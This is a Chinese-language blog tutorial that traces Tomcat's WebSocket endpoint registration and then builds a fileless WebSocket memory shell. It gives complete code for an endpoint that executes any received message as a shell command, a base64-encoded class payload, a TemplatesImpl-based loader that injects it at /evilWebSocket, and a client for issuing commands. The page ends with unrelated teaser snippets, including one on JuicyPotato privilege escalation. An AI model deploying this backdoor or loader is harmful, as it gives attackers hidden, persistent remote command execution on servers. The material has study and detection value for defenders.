回到OnStartup,对SCI收集到所有继承了 ServerEndpoint、ServerApplicationConfig、Endpoint 的类作为参数clazzes,对这个参数进行一个遍历

里面就有自定义的HelloWebSocket

循环的主要功能是遍历传入的类集合 clazzes,并对每个类进行分类和过滤。下图后面三个循环分别是:

  • 如果类实现了 ServerApplicationConfig 接口,则实例化该类并添加到 serverApplicationConfigs 集合中。

  • 如果类继承了 Endpoint 类,则将其添加到 scannedEndpointClazzes 集合中。

  • 如果类标注了 @ServerEndpoint 注解,则将其添加到 scannedPojoEndpoints 集合中。

循环结束后,if块调用了把scannedPojoEndpoints添加到filteredPojoEndpoints,else块是针对上面类继承Endpoint的处理。

什么情况会走到else块呢?

如下利用实现ServerApplicationConfig,自定义决定注册哪些Endpoint

public class MyServerAppConfig implements ServerApplicationConfig {@Overridepublic Set<ServerEndpointConfig> getEndpointConfigs(Set<Class<? extends Endpoint>> scanned) {// 可以根据条件动态决定注册哪些Endpointreturn Collections.emptySet(); // 不注册任何程序化 Endpoint}@Overridepublic Set<Class<?>> getAnnotatedEndpointClasses(Set<Class<?>> scanned) {Set<Class<?>> result = new HashSet<>();for (Class<?> clazz : scanned) {if (clazz.getName().contains("MyWebSocket")) {result.add(clazz); // 只注册类名包含 MyWebSocket 的 Endpoint}}return result;}
}

getEndpointConfigs(...):用于注册程序化配置的 Endpoint(继承自 jakarta.websocket.Endpoint)。

getAnnotatedEndpointClasses(...):用于筛选哪些带有 @ServerEndpoint 注解的类要被注册。

WsSci也指定了收集该类的子类

这样就会在else块内就会调用getEndpointConfigs和getAnnotatedEndpointClasses去做对应的注册。相当于一个WebSocket筛选器

之后循环对filteredPojoEndpoint调用WsServerContainer.addEndpoint,跟进该方法

WsServerContainer.addEndpoint方法内首先是检查传入的类是否有ServerEndpoint注解,所以我们手动注册WebSocket内存马肯定是不能直接调用WsServerContainer.addEndpoint的

接着调用了ServerEndpointConfig.Builder.create().build(),可以看到参数是HelloWebSocket和value写的映射路径/hello-websocket

至于后面跟的decoders,encoders,subprotocols,configurator,是因为ServerEndpoint还有一些扩展使用,如下。但是这一块我们无需关注

@ServerEndpoint(value = "/ws/{userId}", encoders = {MessageEncoder.class}, decoders = {MessageDecoder.class}, configurator = MyServerConfigurator.class)

在调用完create().build()后,调用了另一个参数类型的WsServerContainer.addEndpoint(ServerEndpointConfig sec, boolean fromAnnotatedPojo)

WsServerContainer共有四个addEndpoint,注意参数的区别

该addEndpoint内没有了对注解的判断,所以是能直接用的

由上面的分析可知,理论上,假如是通过继承Endpoint实现的ServerEndpoint,则必须通过经过serverApplicationConfigs的筛选才能注册进filteredEndpointConfigs

但是直接调用最后的addEndpoint,则完全不用管serverApplicationConfigs

内存马实现

因为是手动调用WsServerContainer.addEndpoint(ServerEndpointConfig sec, boolean fromAnnotatedPojo),如何获取WsServerContainer呢?

还记得WsSci.init吗,初始化WsServerContainer后调用StandardContext.setAttribute装到到键名为javax.websocket.server.ServerContainer中

用getAttribute能从StandardContext取出,java中获取StandardContext的方法见:Tomcat下获取StandardContext的方法(JSP转Java内存马) | Godown_blog

当然也可以通过StandardContext->ApplicationContext->attributes反射取出

java-object-searcher从线程中也是从StandardContext中找到的WsServerContainer:

好像只有这一种方式取到WsServerContainer了

WebSocket内存马的实现过程如下,依旧通过defineClass加载字节码:

  1. 获取StandardContext,进而获取WsServerContainer

  1. 用ServerEndpointConfig.Builder.create().build()创建恶意ServerWebSocket,用addEndpint添加进WsServerContainer

  1. 需要一个相适配的ClientWebSocket去连接

注意继承Endpoint实现的恶意ServerWebSocket,重写onMessage需要实现MessageHandler.Whole<String>,至于为什么是重写onMessage各位肯定知道

先制作一个恶意的EvilServerWebSocket:

package org.example.tomcatmemshell.WebSocket;import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;public class EvilServerWebSocket extends Endpoint implements MessageHandler.Whole<String> {public static void main(String[] args) throws IOException {byte[] string = Base64.getEncoder().encode(Files.readAllBytes(Paths.get("target/classes/org/example/tomcatmemshell/WebSocket/EvilServerWebSocket.class")));System.out.println(new String(string));}private Session session;@Overridepublic void onOpen(Session session, EndpointConfig config) {this.session = session;this.session.addMessageHandler(this);}@Overridepublic void onMessage(String message) {try {Process process;String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", message} : new String[]{"cmd.exe", "/c", message};process = Runtime.getRuntime().exec(cmds);InputStream inputStream = process.getInputStream();StringBuilder stringBuilder = new StringBuilder();int i;while ((i = inputStream.read()) != -1)stringBuilder.append((char)i);inputStream.close();process.waitFor();session.getBasicRemote().sendText(stringBuilder.toString());} catch (IOException e) {e.printStackTrace();} catch (InterruptedException e) {throw new RuntimeException(e);}}
}

然后用TemplatesImpl去注册上面的EvilServerWebSocket,注意这里测试,在上面的代码生成完base64码后注释掉,不然会报 loader (instance of org/apache/catalina/loader/ParallelWebappClassLoader): attempted duplicate class definition重复加载类

package org.example.tomcatmemshell.WebSocket;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.WebResourceRoot;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.net.NioEndpoint;
import org.apache.tomcat.websocket.server.WsServerContainer;import javax.websocket.DeploymentException;
import javax.websocket.server.ServerEndpointConfig;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.concurrent.*;public class WebSocketMemShell extends AbstractTranslet {public WebSocketMemShell() {try{byte[] classBytes = Base64.getDecoder().decode("yv66vgAAADQAygoAKQBfCgBgAGEIAGIHAGMKAGQAZQoAZgBnCgBoAGkJAGoAawoABABsCgBtAG4JACgAbwsAcABxCAByCgBqAHMKAAQAdAgAdQoABAB2CAB3CAB4CAB5CAB6CgB7AHwKAHsAfQoAfgB/BwCACgAZAF8KAIEAggoAGQCDCgCBAIQKAH4AhQsAcACGCgAZAIcLAIgAiQcAigoAIgCLBwCMBwCNCgAlAI4KACgAjwcAkAcAkQcAkwEAB3Nlc3Npb24BABlMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADpMb3JnL2V4YW1wbGUvdG9tY2F0bWVtc2hlbGwvV2ViU29ja2V0L0V2aWxTZXJ2ZXJXZWJTb2NrZXQ7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnN0cmluZwEAAltCAQAKRXhjZXB0aW9ucwEABm9uT3BlbgEAPChMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247TGphdmF4L3dlYnNvY2tldC9FbmRwb2ludENvbmZpZzspVgEABmNvbmZpZwEAIExqYXZheC93ZWJzb2NrZXQvRW5kcG9pbnRDb25maWc7AQAJb25NZXNzYWdlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAARjbWRzAQALaW5wdXRTdHJlYW0BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAA1zdHJpbmdCdWlsZGVyAQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAAWkBAAFJAQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAIExqYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb247AQAHbWVzc2FnZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADcHAJAHAGMHAJQHAJUHAIAHAIoHAIwBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYBAAlTaWduYXR1cmUBAAVXaG9sZQEADElubmVyQ2xhc3NlcwEAVExqYXZheC93ZWJzb2NrZXQvRW5kcG9pbnQ7TGphdmF4L3dlYnNvY2tldC9NZXNzYWdlSGFuZGxlciRXaG9sZTxMamF2YS9sYW5nL1N0cmluZzs+OwEAClNvdXJjZUZpbGUBABhFdmlsU2VydmVyV2ViU29ja2V0LmphdmEMAC0ALgcAlgwAlwCZAQBNdGFyZ2V0L2NsYXNzZXMvb3JnL2V4YW1wbGUvdG9tY2F0bWVtc2hlbGwvV2ViU29ja2V0L0V2aWxTZXJ2ZXJXZWJTb2NrZXQuY2xhc3MBABBqYXZhL2xhbmcvU3RyaW5nBwCaDACbAJwHAJ0MAJ4AnwcAoAwAoQCiBwCjDACkAKUMAC0ApgcApwwAqABADAArACwHAKkMAKoAqwEAB29zLm5hbWUMAKwArQwArgCvAQADd2luDACwALEBAAJzaAEAAi1jAQAHY21kLmV4ZQEAAi9jBwCyDACzALQMALUAtgcAlAwAtwC4AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIHAJUMALkAugwAuwC8DAC9AC4MAL4AugwAvwDBDADCAK8HAMQMAMUAQAEAE2phdmEvaW8vSU9FeGNlcHRpb24MAMYALgEAHmphdmEvbGFuZy9JbnRlcnJ1cHRlZEV4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAtAMcMAD8AQAEAOG9yZy9leGFtcGxlL3RvbWNhdG1lbXNoZWxsL1dlYlNvY2tldC9FdmlsU2VydmVyV2ViU29ja2V0AQAYamF2YXgvd2Vic29ja2V0L0VuZHBvaW50BwDIAQAkamF2YXgvd2Vic29ja2V0L01lc3NhZ2VIYW5kbGVyJFdob2xlAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAE2phdmEvbmlvL2ZpbGUvUGF0aHMBAANnZXQBADsoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vZmlsZS9QYXRoOwEAE2phdmEvbmlvL2ZpbGUvRmlsZXMBAAxyZWFkQWxsQnl0ZXMBABgoTGphdmEvbmlvL2ZpbGUvUGF0aDspW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAAZlbmNvZGUBAAYoW0IpW0IBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAFKFtCKVYBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAF2phdmF4L3dlYnNvY2tldC9TZXNzaW9uAQARYWRkTWVzc2FnZUhhbmRsZXIBACMoTGphdmF4L3dlYnNvY2tldC9NZXNzYWdlSGFuZGxlcjspVgEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBAARyZWFkAQADKClJAQAGYXBwZW5kAQAcKEMpTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABWNsb3NlAQAHd2FpdEZvcgEADmdldEJhc2ljUmVtb3RlAQAFQmFzaWMBACgoKUxqYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQkQmFzaWM7AQAIdG9TdHJpbmcHAMkBACRqYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQkQmFzaWMBAAhzZW5kVGV4dAEAD3ByaW50U3RhY2tUcmFjZQEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEAHmphdmF4L3dlYnNvY2tldC9NZXNzYWdlSGFuZGxlcgEAHmphdmF4L3dlYnNvY2tldC9SZW1vdGVFbmRwb2ludAAhACgAKQABACoAAQACACsALAAAAAUAAQAtAC4AAQAvAAAALwABAAEAAAAFKrcAAbEAAAACADAAAAAGAAEAAAANADEAAAAMAAEAAAAFADIAMwAAAAkANAA1AAIALwAAAF4ABAACAAAAIrgAAhIDA70ABLgABbgABrYAB0yyAAi7AARZK7cACbYACrEAAAACADAAAAAOAAMAAAAPABMAEAAhABEAMQAAABYAAgAAACIANgA3AAAAEwAPADgAOQABADoAAAAEAAEAIgABADsAPAABAC8AAABWAAIAAwAAABAqK7UACyq0AAsquQAMAgCxAAAAAgAwAAAADgADAAAAFQAFABYADwAXADEAAAAgAAMAAAAQADIAMwAAAAAAEAArACwAAQAAABAAPQA+AAIAAQA/AEAAAQAvAAABnwAEAAcAAACaEg24AA62AA8SELYAEZoAGAa9AARZAxISU1kEEhNTWQUrU6cAFQa9AARZAxIUU1kEEhVTWQUrU064ABYttgAXTSy2ABg6BLsAGVm3ABo6BRkEtgAbWTYGAp8ADxkFFQaStgAcV6f/6xkEtgAdLLYAHlcqtAALuQAfAQAZBbYAILkAIQIApwAVTSy2ACOnAA1NuwAlWSy3ACa/sQACAAAAhACHACIAAACEAI8AJAADADAAAABCABAAAAAcADgAHQBAAB4ARgAfAE8AIQBbACIAZwAjAGwAJABxACUAhAAqAIcAJgCIACcAjAAqAI8AKACQACkAmQArADEAAABcAAkAQABEAEEAQgACADgATABDADcAAwBGAD4ARABFAAQATwA1AEYARwAFAFcALQBIAEkABgCIAAQASgBLAAIAkAAJAEoATAACAAAAmgAyADMAAAAAAJoATQBOAAEATwAAADkAByVRBwBQ/wAXAAYHAFEHAFIHAFMHAFAHAFQHAFUAAPwAFwH/AB8AAgcAUQcAUgABBwBWRwcAVwkQQQA/AFgAAQAvAAAAMwACAAIAAAAJKivAAAS2ACexAAAAAgAwAAAABgABAAAADQAxAAAADAABAAAACQAyADMAAAADAFkAAAACAFwAXQAAAAIAXgBbAAAAGgADACoAkgBaBgkAaABgAJgACQCIAMMAwAYJ");
//                        ClassLoader classLoader = ClassLoader.getSystemClassLoader();//不能使用,找不到Tomcat下的类,如java.lang.NoClassDefFoundError: org/apache/tomcat/util/threads/ThreadPoolExecutorClassLoader classLoader = Thread.currentThread().getContextClassLoader();Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);defineClass.setAccessible(true);Class<?> EvilServerWebSocketClass = (Class<?>) defineClass.invoke(classLoader,"org.example.tomcatmemshell.WebSocket.EvilServerWebSocket" , classBytes, 0, classBytes.length);Object instance = EvilServerWebSocketClass.getDeclaredConstructor().newInstance();ServerEndpointConfig serverEndpointConfig = ServerEndpointConfig.Builder.create(EvilServerWebSocketClass,"/evilWebSocket").build();StandardContext standardContext = getStandardContext1();WsServerContainer wsServerContainer = (WsServerContainer) standardContext.getServletContext().getAttribute("javax.websocket.server.ServerContainer");wsServerContainer.addEndpoint(serverEndpointConfig);} catch (IllegalAccessException ex) {throw new RuntimeException(ex);} catch (InvocationTargetException e) {throw new RuntimeException(e);} catch (NoSuchMethodException e) {throw new RuntimeException(e);} catch (InstantiationException e) {throw new RuntimeException(e);} catch (DeploymentException e) {throw new RuntimeException(e);}}public static StandardContext getStandardContext1() {try{WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();Field webappclassLoaderBaseField=Class.forName("org.apache.catalina.loader.WebappClassLoaderBase").getDeclaredField("resources");webappclassLoaderBaseField.setAccessible(true);WebResourceRoot resources=(WebResourceRoot) webappclassLoaderBaseField.get(webappClassLoaderBase);Context StandardContext =  resources.getContext();return (StandardContext) StandardContext;} catch (NoSuchFieldException e) {throw new RuntimeException(e);} catch (ClassNotFoundException e) {throw new RuntimeException(e);} catch (IllegalAccessException e) {throw new RuntimeException(e);}}public static Object getClassField(Class clazz,Object object, String fieldName) throws NoSuchFieldException, IllegalAccessException {Field field = clazz.getDeclaredField(fieldName);field.setAccessible(true);Object var =  field.get(object);return var;}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

然后用自己做的客户端WebSocketClient去连接

package org.example.tomcatmemshell.WebSocket;import javax.websocket.*;
import java.net.URI;
import java.util.Scanner;@ClientEndpoint
public class WebSocketClient {@OnOpenpublic void onOpen(Session session) {System.out.println("✅ Connected to server");}@OnMessagepublic void onMessage(String message) {System.out.println("📥 Received: " + message);}@OnClosepublic void onClose(Session session, CloseReason reason) {System.out.println("❌ Connection closed: " + reason);}@OnErrorpublic void onError(Session session, Throwable throwable) {System.out.println("⚠️ Error: " + throwable.getMessage());}public static void main(String[] args) {String uri = "ws://127.0.0.1:8080/TomcatMemshell_war_exploded/evilWebSocket";try {WebSocketContainer container = ContainerProvider.getWebSocketContainer();Session session = container.connectToServer(WebSocketClient.class, new URI(uri));// 控制台输入发送消息Scanner scanner = new Scanner(System.in);while (true) {System.out.print("📤 Send: ");String msg = scanner.nextLine();if ("exit".equalsIgnoreCase(msg)) break;session.getAsyncRemote().sendText(msg);}session.close();} catch (Exception e) {e.printStackTrace();}}
}

演示一波功能:

大佬已经做了一整套webSocket内存马利用开源工具了:

https://github.com/veo/wsMemShell/tree/main

这种内存马很明显有个好处,就是新开ws TCP通道,很多防护设备可能检测不到该通道的流量,不过坏处也在于此,新开通道很容易被监测。

相关文章:

CC注入Tomcat Upgrade/Executor/WebSocket内存马

学习一下Tomcat中和组件内存马不一样的马。除了学习注入原理外&#xff0c;其payload还在一些缩短payload的场景有应用&#xff0c;比如shiro CC注入Tomcat Upgrade/Executor/WebSocket内存马 漏洞所用环境及测试全部代码https://github.com/godownio/TomcatMemshell 漏洞路…...

算法工程师面试题与参考答案资料(2025年版)

一、核心技术能力 1. 编程能力与工具 问题 1(选择题): 下列哪种Python数据类型是通过哈希表实现的? A. 列表 (list)...

烂土豆Juicypotato提权原理和利用

烂土豆Juicypotato提权原理和利用 0x00 Potato&#xff08;烂土豆&#xff09;提权的原理&#xff1a; 所谓的烂土豆提权就是俗称的MS16-075 可以将Windows工作站上的特权从最低级别提升到“ NT AUTHORITY \ SYSTEM” – Windows计算机上可用的最高特权级别。 一、简单的原…...

基于LangChain4J的AI Services实践:用声明式接口重构LLM应用开发

基于LangChain4J的AI Services实践&#xff1a;用声明式接口重构LLM应用开发 前言&#xff1a;当Java开发遇上LLM编程困境 在LLM应用开发领域&#xff0c;Java开发者常面临两大痛点&#xff1a;一是需要手动编排Prompt工程、记忆管理和结果解析等底层组件&#xff0c;二是复杂…...

重构便携钢琴专业边界丨特伦斯便携钢琴V30Pro定义新一代便携电钢琴

在便携电钢琴领域&#xff0c;特伦斯推出的V30Pro折叠钢琴以"技术革新场景适配"的双重升级引发关注。这款产品不仅延续了品牌标志性的折叠结构&#xff0c;更通过声学系统重构与智能交互优化&#xff0c;重新定义了便携乐器的专业边界。 ▶ 核心特点&#xff1a;技术…...

【uniapp-兼容性处理】安卓uView组件中u-input后置插槽不展示

【日期】2025-04-21 【问题】 在小程序上u-input后置插槽展示&#xff0c;真机运行安卓机上不展示 【原因】&#xff1a; 原代码&#xff1a;&#xff08;插槽写法惯性使用#&#xff0c;此处在APP上不兼容该写法&#xff09; <u-input v-model"currentScore"…...

每天学一个 Linux 命令(30):cut

​​可访问网站查看,视觉品味拉满: http://www.616vip.cn/28/index.html cut 命令用于从文件或输入流中提取文本的特定部分(如列、字符或字节位置)。它常用于处理结构化数据(如 CSV、TSV)或按固定格式分割的文本。以下是详细说明和示例: 命令格式 cut [选项] [文件...]…...

部署本地Dify

本文我们来演示一下Dify的部署安装。 一、安装docker环境 Dify只是一个dashboard&#xff0c;所以这里的话咱们一般不用使用物理部署了&#xff0c;直接使用docker启动一个即可&#xff0c;所以一定要先确保服务器上有docker环境和docker-compose环境。 docker的安装可参考&…...

大数据组件学习之--Kafka 安装搭建

一、前置环境 在搭建kafka之前&#xff0c;请确认自己的hadoop、zookeeper是否搭建完成且可正常运行 二、下载并上传安装包&#xff08;链接为百度网盘&#xff09; kafka安装包 tar -zxvf /opt/software/kafka_2.12-2.4.1.tgz -C /opt/module/ 进入解压后的目录更改文件名…...

RK3588芯片NPU的使用:PPOCRv4例子在安卓系统部署

本文的目标 将PPOCRv4 C语言例子适配安卓端,提供选择图片后进行OCR识别功能。PPOCRv4 C语言例子请参考之前的博文《RK3588芯片NPU的使用:Windows11 Docker中运行PPOCRv4例子》。 开发环境说明 主机系统:Windows 11目标设备:搭载RK3588芯片的安卓开发板核心工具:Android …...

算法 | 鲸鱼优化算法(WOA)与强化学习的结合研究

===================================================== github:https://github.com/MichaelBeechan CSDN:https://blog.csdn.net/u011344545 ===================================================== 鲸鱼优化算法与强化学习 一、结合机制与关键方向1、 ‌参数动态调整2、…...

Spring AI 框架-快速搭建以及会话日志(笔记)

概述&#xff1a;  Spring AI是Spring生态中应用于人工智能领域的应用框架&#xff0c;它的目标是将Spring 生态系统的设计原则&#xff08;如可移植性、模块化设计&#xff09;应用于AI领域&#xff0c;Spring AI更新迭代非常快,对Spring生态非常友好&#xff0c;可以大大简化…...

一段式端到端自动驾驶:VAD:Vectorized Scene Representation for Efficient Autonomous Driving

论文地址&#xff1a;https://github.com/hustvl/VAD 代码地址&#xff1a;https://arxiv.org/pdf/2303.12077 1. 摘要 自动驾驶需要对周围环境进行全面理解&#xff0c;以实现可靠的轨迹规划。以往的方法依赖于密集的栅格化场景表示&#xff08;如&#xff1a;占据图、语义…...

CMake execute_process用法详解

execute_process 是 CMake 中的一个命令&#xff0c;用于在 CMake 配置阶段&#xff08;即运行 cmake 命令时&#xff09;执行外部进程。它与 add_custom_command 或 add_custom_target 不同&#xff0c;后者是在构建阶段&#xff08;如 make 或 ninja&#xff09;执行命令。ex…...

使用Postman调测“获取IAM用户Token”接口实际操作

概述 Postman是网页调试与辅助接口调用的工具&#xff0c;具有界面简洁清晰、操作方便快捷的特性&#xff0c;可以处理用户发送的HTTP请求&#xff0c;例如&#xff1a;GET&#xff0c;PUT、POST&#xff0c;DELETE等&#xff0c;支持用户修改HTTP请求中的参数并返回响应数据。…...

大模型面经 | 春招、秋招算法面试常考八股文附答案(三)

大家好,我是皮先生!! 今天给大家分享一些关于大模型面试常见的面试题,希望对大家的面试有所帮助。 往期回顾: 大模型面经 | 春招、秋招算法面试常考八股文附答案(RAG专题一) 大模型面经 | 春招、秋招算法面试常考八股文附答案(RAG专题二) 大模型面经 | 春招、秋招算法…...

高效Java面试题(附答案)

Java全家桶 Java基础 1. Java为什么被称为平台无关性语言&#xff1f; 2. 解释下什么是面向对象&#xff1f;面向对象和面向过程的区别 3. 面向对象的三大特性&#xff1f;分别解释下&#xff1f; 4. Java 中的参数传递时传值呢&#xff1f;还是传引用&#xff1f; 5. JD…...

Unreal如何使用后处理材质实现一个黑屏渐变效果

文章目录 前言相机后期处理材质创建材质相机设置动态修改FadeAlpha参数使用示例最后前言 UE5 开发VR ,如何通过PostProcess轻松实现黑屏渐变效果 最简单的办法,其实是使用一个半球形模型,遮挡住相机,然后控制这个半球形遮罩的颜色透明度,至少Unity中默认的Tunneling是这么…...

【自然语言处理与大模型】模型压缩技术之剪枝

一、什么是模型剪枝&#xff1f; 模型剪枝&#xff08;Model Pruning&#xff09;是一种神经网络模型压缩技术&#xff0c;其核心思想是通过删除或稀疏化模型中冗余的部分&#xff08;如不重要的参数或神经元连接&#xff09;&#xff0c;在尽量保持模型性能的前提下&#xff0…...

OOA-CNN-LSTM-Attention、CNN-LSTM-Attention、OOA-CNN-LSTM、CNN-LSTM四模型多变量时序预测一键对比

OOA-CNN-LSTM-Attention、CNN-LSTM-Attention、OOA-CNN-LSTM、CNN-LSTM四模型多变量时序预测一键对比 目录 OOA-CNN-LSTM-Attention、CNN-LSTM-Attention、OOA-CNN-LSTM、CNN-LSTM四模型多变量时序预测一键对比预测效果基本介绍程序设计参考资料 预测效果 基本介绍 基于OOA-CN…...

Android Studio 国内镜像使用与 SDK 下载速度优化指南

本文适用于刚装好 Android Studio、SDK 下载缓慢、更新困难&#xff0c;以及 Gradle 构建缓慢的开发者。我们会讲&#xff1a; 如何替换国内镜像源&#xff08;包括 SDK 和 Gradle&#xff09; 如何解决 emulator 镜像下载失败的问题 一些终极提速技巧&#xff08;比如代理配…...

PyCharm 在 Linux 上的完整安装与使用指南

PyCharm 在 Linux 上的完整安装与使用指南—目录 一、PyCharm 简介二、下载与安装1. 下载 PyCharm2. 安装前的依赖准备3. 安装步骤方法 1&#xff1a;通过 Snap 安装&#xff08;推荐&#xff09;方法 2&#xff1a;手动安装&#xff08;从官网下载 .tar.gz 文件&#xff09;方…...

强化学习(Reinforcement Learning, RL)​​与​​深度强化学习(Deep Reinforcement Learning, DRL)​​

​​1. 基本概念​​ ​​强化学习&#xff08;RL&#xff09;​​ ​​定义​​&#xff1a;通过试错与环境交互&#xff0c;学习策略以最大化累积奖励的机器学习范式。​​核心思想​​&#xff1a;智能体在环境中执行动作&#xff0c;接收奖励信号并更新策略&#xff0c;最…...

初识Redis · C++客户端set和zset

目录 前言&#xff1a; set sadd sismember smembers spop scard sinter sinterstore zset zadd zrange zcard zrem zrank zscore 前言&#xff1a; 前文我们已经介绍了string list hash在Redis-plus-plus的使用&#xff0c;本文我们开始介绍set和zset在redis-plus-pl…...

平板电脑做欧盟网络安全法案(EU)2022/30

平板电脑做欧盟网络安全法案&#xff08;EU&#xff09;2022/30 平板电脑做EN18031,平板电脑做无障碍法规EU2019/882 欧盟委员会于2022年通过补充授权法案 &#xff08;EU&#xff09; 2022/30&#xff0c;明确要求无线电设备需满足网络安全、隐私保护及反欺诈要求。 新规时间轴…...

GeoJSON 格式详解与使用指南

一、引言 GeoJSON 是一种对各种地理数据结构进行编码的格式&#xff0c;它基于 JavaScript 对象表示法&#xff08;JSON&#xff09;&#xff0c;被广泛应用于地理信息系统&#xff08;GIS&#xff09;、地图应用开发以及地理数据的存储和交换。本文将详细介绍 GeoJSON 的格式…...

JavaScript与TypeScript

TypeScript 和 JavaScript 都是用于构建 Web 应用的编程语言&#xff0c;但它们有着不同的设计目标和特性。 一、JavaScript 1. 定义与特点 动态脚本语言&#xff1a;由 Brendan Eich 在 1995 年创建&#xff0c;最初用于浏览器端的交互逻辑。弱类型/动态类型&#xff1a;变量…...

ArcGIS、ArcMap查看.shp文件时属性表中文乱码

Shapefile(.shp): 根本错误原因&#xff1a; Shapefile 的属性数据 .dbf 是老旧格式&#xff0c;默认不含编码信息 解决方法&#xff1a; 在shapefile文件夹目录上&#xff0c;创建一个同名的.cpg文件&#xff0c;内容"oem" 使用ArcGIS再右键打开属性表&#xff0c;…...

C++学习:六个月从基础到就业——内存管理:自定义内存管理(上篇)

C学习&#xff1a;六个月从基础到就业——内存管理&#xff1a;自定义内存管理&#xff08;上篇&#xff09; 本文是我C学习之旅系列的第二十一篇技术文章&#xff0c;也是第二阶段"C进阶特性"的第六篇&#xff0c;主要介绍C中的自定义内存管理技术&#xff08;上篇&…...

大模型基础

1、提示词 典型构成&#xff1a; - **角色**&#xff1a;给 AI 定义一个最匹配任务的角色&#xff0c;比如&#xff1a;「你是一位软件工程师」「你是一位小学数学老师」 - **指示**&#xff1a;对任务进行描述 - **上下文**&#xff1a;给出与任务相关的其它背景信息&#x…...

TDengine 存储引擎设计

简介 TDengine 的核心竞争力在于其卓越的写入和查询性能。相较于传统的通用型数据库&#xff0c;TDengine 在诞生之初便专注于深入挖掘时序数据场景的独特性。它充分利用了时序数据的时间有序性、连续性和高并发特点&#xff0c;自主研发了一套专为时序数据定制的写入及存储算…...

C++回溯算法详解

文章目录 引言第一题1.1 题目解析1.2 解题思路回溯解法队列解法 1.3 解题代码回溯解法队列解法 引言 回溯算法是一种通过深度优先搜索系统性地遍历问题解空间的算法。它的核心思想是"试错"&#xff1a;逐步构建候选解&#xff0c;当发现当前选择无法得到有效解时&am…...

前端Javascript模块化 CommonJS与ES Module区别

一、模块化规范的演进历程 IIFE(立即执行函数)阶段 早期通过立即执行函数实现模块化,利用函数作用域隔离变量,解决全局命名冲突问题。例如通过(function(){})()包裹代码,形成独立作用域。 CommonJS(Node.js)阶段 CommonJS规范以同步加载为核心,通过require和module.exp…...

问题 | RAIM + LSTM 你怎么看???

github&#xff1a;https://github.com/MichaelBeechan CSDN&#xff1a;https://blog.csdn.net/u011344545 RAIM LSTM import numpy as np import tensorflow as tf from tensorflow.keras.layers import LSTM, Dense# RAIM-LSTM 融合模型 class RAIM_LSTM(tf.keras.Model):d…...

进程与线程:03 用户级线程

多进程与操作系统基础 上一个内容我们讲了多进程图像&#xff0c;强调多进程图像是操作系统最核心的图像。我们还通过Windows任务管理器&#xff0c;实际观察了操作系统里的进程。 进程是操作系统的核心内容&#xff0c;管理好多个进程&#xff0c;就能管理好操作系统和CPU。…...

四种阻抗匹配的方式

